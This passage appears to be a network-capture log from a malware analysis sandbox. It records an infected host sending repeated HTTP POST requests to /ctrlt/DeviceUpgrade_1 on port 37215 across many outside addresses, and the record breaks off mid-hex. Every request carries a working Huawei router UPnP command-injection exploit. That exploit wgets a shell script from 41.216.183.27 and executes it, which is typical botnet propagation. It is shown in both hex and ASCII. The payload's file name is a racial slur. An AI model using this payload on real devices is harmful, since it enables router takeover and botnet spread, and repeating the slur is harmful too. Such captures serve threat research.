74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
208	192.168.2.23	37784	94.122.19.48	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:37:30.818747997 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
209	192.168.2.23	49782	94.120.219.98	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:37:30.826297045 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
210	192.168.2.23	43200	45.60.186.169	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:37:30.914969921 CET	844	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
211	192.168.2.23	60500	45.117.144.80	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:37:31.249614954 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:32.771375895 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:34.563133001 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:38.306670904 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
212	192.168.2.23	47520	45.207.186.42	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:37:31.249711990 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:32.803435087 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 